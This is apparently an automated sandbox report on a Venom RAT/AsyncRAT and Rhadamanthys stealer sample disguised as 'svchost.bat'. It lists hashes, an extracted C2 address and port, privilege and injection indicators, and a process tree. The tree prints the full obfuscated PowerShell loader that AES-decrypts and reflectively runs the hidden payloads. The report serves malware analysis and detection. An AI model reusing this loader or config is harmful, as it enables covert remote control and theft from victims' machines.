asyncrat | 908fd49bd1d8751057fa509240b3dd3e161e9af3e1440d927d919c01eb949ad2

Analysis

max time kernel
275s
max time network
275s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
09/07/2024, 21:35

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General

Target

svchost.bat
Size

396KB
MD5

8eeff7476b9e0d2c7b56538d7cc98e7a
SHA1

84991e8c34d6e9cefb7b5d8b79202d5fc5935396
SHA256

908fd49bd1d8751057fa509240b3dd3e161e9af3e1440d927d919c01eb949ad2
SHA512

174311a059e3b2bd16029a80e4b0bf007d0b31a54395f8a036c53e2905aaf4656c30c51a9dff4880bbc2b6bb3e0a237ad35e126367a00b456f3e426f58ddc919
SSDEEP

12288:71qhIV59Nm/Jzw5WwHdKkZGmgEI9oOC/zupA9csmX:7CIRNm/O5WwHdpZOEI9C6pAvW

Score

10^/10

asyncrat rhadamanthys default rat stealer

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

147.185.221.20:49485

Mutex

RANDOM-SHIT

Attributes

delay
3
install
true
install_file
svchost.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3324 created 2244	3324	Explorer.EXE	50

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/2860-35-0x0000026AD5700000-0x0000026AD5718000-memory.dmp	family_asyncrat

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe

Suspicious use of AdjustPrivilegeToken 57 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeIncreaseQuotaPrivilege	2860	powershell.exe
Token: SeSecurityPrivilege	2860	powershell.exe
Token: SeTakeOwnershipPrivilege	2860	powershell.exe
Token: SeLoadDriverPrivilege	2860	powershell.exe
Token: SeSystemProfilePrivilege	2860	powershell.exe
Token: SeSystemtimePrivilege	2860	powershell.exe
Token: SeProfSingleProcessPrivilege	2860	powershell.exe
Token: SeIncBasePriorityPrivilege	2860	powershell.exe
Token: SeCreatePagefilePrivilege	2860	powershell.exe
Token: SeBackupPrivilege	2860	powershell.exe
Token: SeRestorePrivilege	2860	powershell.exe
Token: SeShutdownPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeSystemEnvironmentPrivilege	2860	powershell.exe
Token: SeRemoteShutdownPrivilege	2860	powershell.exe
Token: SeUndockPrivilege	2860	powershell.exe
Token: SeManageVolumePrivilege	2860	powershell.exe
Token: 33	2860	powershell.exe
Token: 34	2860	powershell.exe
Token: 35	2860	powershell.exe
Token: 36	2860	powershell.exe
Token: SeIncreaseQuotaPrivilege	2860	powershell.exe
Token: SeSecurityPrivilege	2860	powershell.exe
Token: SeTakeOwnershipPrivilege	2860	powershell.exe
Token: SeLoadDriverPrivilege	2860	powershell.exe
Token: SeSystemProfilePrivilege	2860	powershell.exe
Token: SeSystemtimePrivilege	2860	powershell.exe
Token: SeProfSingleProcessPrivilege	2860	powershell.exe
Token: SeIncBasePriorityPrivilege	2860	powershell.exe
Token: SeCreatePagefilePrivilege	2860	powershell.exe
Token: SeBackupPrivilege	2860	powershell.exe
Token: SeRestorePrivilege	2860	powershell.exe
Token: SeShutdownPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeSystemEnvironmentPrivilege	2860	powershell.exe
Token: SeRemoteShutdownPrivilege	2860	powershell.exe
Token: SeUndockPrivilege	2860	powershell.exe
Token: SeManageVolumePrivilege	2860	powershell.exe
Token: 33	2860	powershell.exe
Token: 34	2860	powershell.exe
Token: 35	2860	powershell.exe
Token: 36	2860	powershell.exe
Token: SeShutdownPrivilege	3324	Explorer.EXE
Token: SeCreatePagefilePrivilege	3324	Explorer.EXE
Token: SeShutdownPrivilege	3324	Explorer.EXE
Token: SeCreatePagefilePrivilege	3324	Explorer.EXE
Token: SeShutdownPrivilege	3324	Explorer.EXE
Token: SeCreatePagefilePrivilege	3324	Explorer.EXE
Token: SeShutdownPrivilege	3324	Explorer.EXE
Token: SeCreatePagefilePrivilege	3324	Explorer.EXE
Token: SeShutdownPrivilege	3324	Explorer.EXE
Token: SeCreatePagefilePrivilege	3324	Explorer.EXE
Token: SeShutdownPrivilege	3324	Explorer.EXE
Token: SeCreatePagefilePrivilege	3324	Explorer.EXE
Token: SeShutdownPrivilege	3324	Explorer.EXE
Token: SeCreatePagefilePrivilege	3324	Explorer.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3312 wrote to memory of 3144	3312	cmd.exe	82
PID 3312 wrote to memory of 3144	3312	cmd.exe	82
PID 3312 wrote to memory of 2860	3312	cmd.exe	83
PID 3312 wrote to memory of 2860	3312	cmd.exe	83
PID 2860 wrote to memory of 3324	2860	powershell.exe	53
PID 3324 wrote to memory of 1632	3324	Explorer.EXE	84
PID 3324 wrote to memory of 1632	3324	Explorer.EXE	84
PID 3324 wrote to memory of 1632	3324	Explorer.EXE	84
PID 3324 wrote to memory of 1632	3324	Explorer.EXE	84

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2244
- C:\Windows\system32\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  PID:1632

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\svchost.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('n9ZmU5/PC5KtVx1quQV0tSXT3NElOxxx6q5t6hjaxWA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5OqvQAvAr9GTRWmouqMfEQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qtKDW=New-Object System.IO.MemoryStream(,$param_var); $MgUrt=New-Object System.IO.MemoryStream; $FhzHj=New-Object System.IO.Compression.GZipStream($qtKDW, [IO.Compression.CompressionMode]::Decompress); $FhzHj.CopyTo($MgUrt); $FhzHj.Dispose(); $qtKDW.Dispose(); $MgUrt.Dispose(); $MgUrt.ToArray();}function execute_function($param_var,$param2_var){ $xZsKh=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bIPsk=$xZsKh.EntryPoint; $bIPsk.Invoke($null, $param2_var);}$MDTVT = 'C:\Users\Admin\AppData\Local\Temp\svchost.bat';$host.UI.RawUI.WindowTitle = $MDTVT;$yugZz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($MDTVT).Split([Environment]::NewLine);foreach ($pgATY in $yugZz) { if ($pgATY.StartsWith('qAbBQpLuRAqBaeIZIbhf')) { $UxrsW=$pgATY.Substring(20); break; }}$payloads_var=[string[]]$UxrsW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2860

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sk0ep50o.ize.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1632-24-0x000001D8B25F0000-0x000001D8B25FA000-memory.dmp

Filesize
40KB

Download
memory/1632-34-0x00007FF986DE0000-0x00007FF987154000-memory.dmp

Filesize
3.5MB

Download
memory/1632-31-0x00007FF988CE0000-0x00007FF988D9D000-memory.dmp

Filesize
756KB

Download
memory/1632-33-0x00007FF986DE0000-0x00007FF987154000-memory.dmp

Filesize
3.5MB

Download
memory/1632-30-0x00007FF989700000-0x00007FF989909000-memory.dmp

Filesize
2.0MB

Download
memory/1632-29-0x000001D8B4110000-0x000001D8B4510000-memory.dmp

Filesize
4.0MB

Download
memory/1632-28-0x00007FF986DE0000-0x00007FF987154000-memory.dmp

Filesize
3.5MB

Download
memory/2860-14-0x0000026AD52D0000-0x0000026AD52D8000-memory.dmp

Filesize
32KB

Download
memory/2860-35-0x0000026AD5700000-0x0000026AD5718000-memory.dmp

Filesize
96KB

Download
memory/2860-39-0x00007FF968940000-0x00007FF969402000-memory.dmp

Filesize
10.8MB

Download
memory/2860-38-0x00007FF968940000-0x00007FF969402000-memory.dmp

Filesize
10.8MB

Download
memory/2860-37-0x00007FF968943000-0x00007FF968945000-memory.dmp

Filesize
8KB

Download
memory/2860-1-0x0000026AD5230000-0x0000026AD5252000-memory.dmp

Filesize
136KB

Download
memory/2860-10-0x00007FF968940000-0x00007FF969402000-memory.dmp

Filesize
10.8MB

Download
memory/2860-11-0x0000026AD5650000-0x0000026AD5696000-memory.dmp

Filesize
280KB

Download
memory/2860-12-0x00007FF968940000-0x00007FF969402000-memory.dmp

Filesize
10.8MB

Download
memory/2860-15-0x0000026AD56A0000-0x0000026AD56EC000-memory.dmp

Filesize
304KB

Download
memory/2860-0-0x00007FF968943000-0x00007FF968945000-memory.dmp

Filesize
8KB

Download
memory/2860-13-0x00007FF968940000-0x00007FF969402000-memory.dmp

Filesize
10.8MB

Download
memory/3324-26-0x00007FF986DE1000-0x00007FF986F56000-memory.dmp

Filesize
1.5MB

Download
memory/3324-22-0x0000000006DE0000-0x00000000071E0000-memory.dmp

Filesize
4.0MB

Download
memory/3324-23-0x00007FF989701000-0x00007FF98982A000-memory.dmp

Filesize
1.2MB

Download
memory/3324-16-0x0000000002EE0000-0x0000000002F09000-memory.dmp

Filesize
164KB

Download
memory/3324-18-0x0000000006DE0000-0x00000000071E0000-memory.dmp

Filesize
4.0MB

Download
memory/3324-21-0x0000000006DE0000-0x00000000071E0000-memory.dmp

Filesize
4.0MB

Download
memory/3324-20-0x0000000003010000-0x0000000003019000-memory.dmp

Filesize
36KB

Download
memory/3324-17-0x0000000003010000-0x0000000003019000-memory.dmp

Filesize
36KB

Download
memory/3324-40-0x0000000006DE0000-0x00000000071E0000-memory.dmp

Filesize
4.0MB

Download
memory/3324-41-0x0000000003010000-0x0000000003019000-memory.dmp

Filesize
36KB

Download